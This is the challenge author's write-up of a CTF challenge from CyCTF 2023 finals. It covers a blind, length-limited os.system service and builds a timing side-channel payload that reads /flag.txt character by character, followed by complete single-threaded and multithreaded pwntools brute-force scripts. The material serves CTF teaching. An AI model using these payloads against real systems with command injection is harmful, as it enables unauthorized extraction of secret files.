TL;DR;
This is a challenge I wrote for CyCTF finals 2023. This writeup will show the intended solution for this challenge which can be summarized as “multithreaded sidechannel attack using shell scripting”.
Challenge Details
The challenge gives us three insights at first:
- The flag is stored in
/flag.txt
- The flag format is
cyctf{[a-z0-9_]+}
- For some reason the flag “cannot be seen”.
Downloading and extracting the challenge we get one python script with the following content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| import os
class BlindExec():
def __init__(self):
self.null_fds = [os.open(os.devnull, os.O_RDWR) for _ in range(3)]
self.saved_fds = [os.dup(0), os.dup(1), os.dup(2)]
def __enter__(self):
os.dup2(self.null_fds[0], 0)
os.dup2(self.null_fds[1], 1)
os.dup2(self.null_fds[2], 2)
def __exit__(self, *_):
os.dup2(self.saved_fds[0], 0)
os.dup2(self.saved_fds[1], 1)
os.dup2(self.saved_fds[2], 2)
for fd in self.null_fds + self.saved_fds:
os.close(fd)
def main():
cmd = input("Enter command to execute: ")
if len(cmd) > 30:
print("Your command is too long!")
exit(1)
with BlindExec():
os.system(cmd)
print("Your command is done!")
if __name__ == "__main__":
main()
|
Initial Takeaways
Reading the code provided, deploying an instance and testing a couple of ideas, the following can be deducted:
- The challenge allows arbitrary command execution using
os.system
. - The command must be lower than 31 bytes.
- The class
BlindExec
redirects all file descriptors (stdin, stdout and stderr) to /dev/null
. - Out of bound connections appeared to be disabled (exfiltration through http, dns, etc… is not possible).
- No restriction on writing to the
/tmp/
directory (this is an unintended solution -won’t be covered in this writeup- I overlooked and that was used to solve the challenge during the ctf. Brief explanation: Bypass the length restriction by writing a file a couple of bytes at a time to /tmp/
then executing it).
Idea and Setup
First idea that comes to mind while solving challenges blindly is sidechannel attacks to exfiltrate the flag one character at a time.
I created the file flag.txt
with the content "cyctf{fake_flag}"
and applied the following patch to be able to test payloads freely:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| --- challenge.py 2023-11-21 00:39:16
+++ challenge.py 2023-11-21 19:06:31
@@ -19,11 +19,11 @@
def main():
cmd = input("Enter command to execute: ")
- if len(cmd) > 30:
- print("Your command is too long!")
- exit(1)
- with BlindExec():
- os.system(cmd)
+ # if len(cmd) > 30:
+ # print("Your command is too long!")
+ # exit(1)
+ # with BlindExec():
+ os.system(cmd)
print("Your command is done!")
if __name__ == "__main__":
|
Payload Buildup
After a quick search this is the first payload (45 bytes) that can be used to verify this logic:
1
| [[ $(head -c1 /flag.txt) == "c" ]] && sleep 9
|
Running this payload in bash directly, it executes as intended and the sleep
command is executed. However when passing this payload to the challenge, it shows an error:
This shows that os.system
runs the command under sh
not bash
so to get over this little hurdle [ condition ]
can be used instead which also results in an error:
After some poking around it turns out that the operator ==
is undefined in sh
and the operator =
is used instead. So a working payload for the challenge is now:
1
| [ $(head -c1 /flag.txt) = "c" ] && sleep 9
|
Shortening
This payload is now 42 bytes which is more than the required length by 12 bytes. To do this we will be revisiting some of our choices starting with the command substitution operator $(...)
which can be replaced with `...`
.
1
| [ `head -c1 /flag.txt` = "c" ] && sleep 9 # 41 bytes
|
Next up was to revisit all white spaces to check which are necessary and which are not.
1
| [ `head -c1 /flag.txt` = "c" ]&&sleep 9 # 39 bytes
|
To my surprise you can discard the double quotes when comparing strings and it still works.
1
| [ `head -c1 /flag.txt` = c ]&&sleep 9 # 37 bytes
|
There might be a shorter command that can be used other than head
. A tricky one was cut
, it normally outputs the nth byte from each line but given that the flag is only one line, we can use it.
1
| [ `cut -c1 /flag.txt` = c ]&&sleep 9 # 36 bytes
|
And finally the wildcard can hop to the rescue. As there are normally no files in /
and the only file there is /flag.txt
, this will work disregarding a couple of non-harmful errors.
1
| [ `cut -c1 /*` != c ]&&sleep 9 # 29 bytes
|
Exploit Script
Now that we have a working payload, a script for automating the exfilteration is needed. This can be done using one of two approaches:
- A single thread script: easier to implement but very slow.
- A multithreaded script: a bit harder to implement but much faster.
Single Thread Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| import pwn
import string
import sys
def check(io, idx, c):
payload = f'[ `cut -c{idx} /*` = {c} ]&&sleep 9'
io.sendlineafter(b"Enter command to execute: ", payload.encode())
output = io.recvuntil(b"Your command is done!", timeout=1)
if b"Your command is done!" in output:
return False
return True
def main(sni):
flag = ""
i = 1
logging = pwn.log.progress('Flag')
while not flag.endswith("}"):
for c in string.ascii_lowercase + string.digits + "}{_":
io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")
logging.status(flag + c)
if check(io, i, c):
flag += c
break
io.close()
i += 1
logging.success(flag)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(f"\t{sys.argv[0]} SNI")
exit(0)
main(sys.argv[1])
|
Multithreaded Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| import pwn
import string
import sys
import time
from threading import Thread
bruteforce_pool = string.ascii_lowercase + string.digits + "}{_"
keys = {}
for c in bruteforce_pool:
keys[c] = 0
def check(sni, idx, c):
global keys
io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")
payload = f'[ `cut -c{idx} /*` = {c} ]&&sleep 9'
io.sendlineafter(b"Enter command to execute: ", payload.encode())
output = io.recvuntil(b"Your command is done!", timeout=1)
if b"Your command is done!" not in output:
keys[c] = 1
io.close()
def main(sni):
global keys
flag = ""
logging = pwn.log.progress('Flag')
while not flag.endswith("}"):
# run simultaneous connections for each possible character
threads = list()
for c in bruteforce_pool:
t = Thread(target=check, args=(sni, len(flag) + 1, c))
t.start()
threads.append(t)
for t in threads:
t.join()
# check for false positives or no output
counter = 0
for i in keys:
if keys[i]:
counter += 1
if counter != 1:
for i in keys: keys[i] = 0
time.sleep(1)
continue
# get correct value
for k in keys:
if keys[k]:
flag += k
logging.status(flag)
keys[k] = 0
break
logging.success(flag)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(f"\t{sys.argv[0]} SNI")
exit(0)
main(sys.argv[1])
|
Flag
And finally running the exploit script gets the flag: cyctf{u_kn0w_h0w_2_s1d3ch4nn3l_1n_5h}
Here’s a quick benchmark for the two scripts: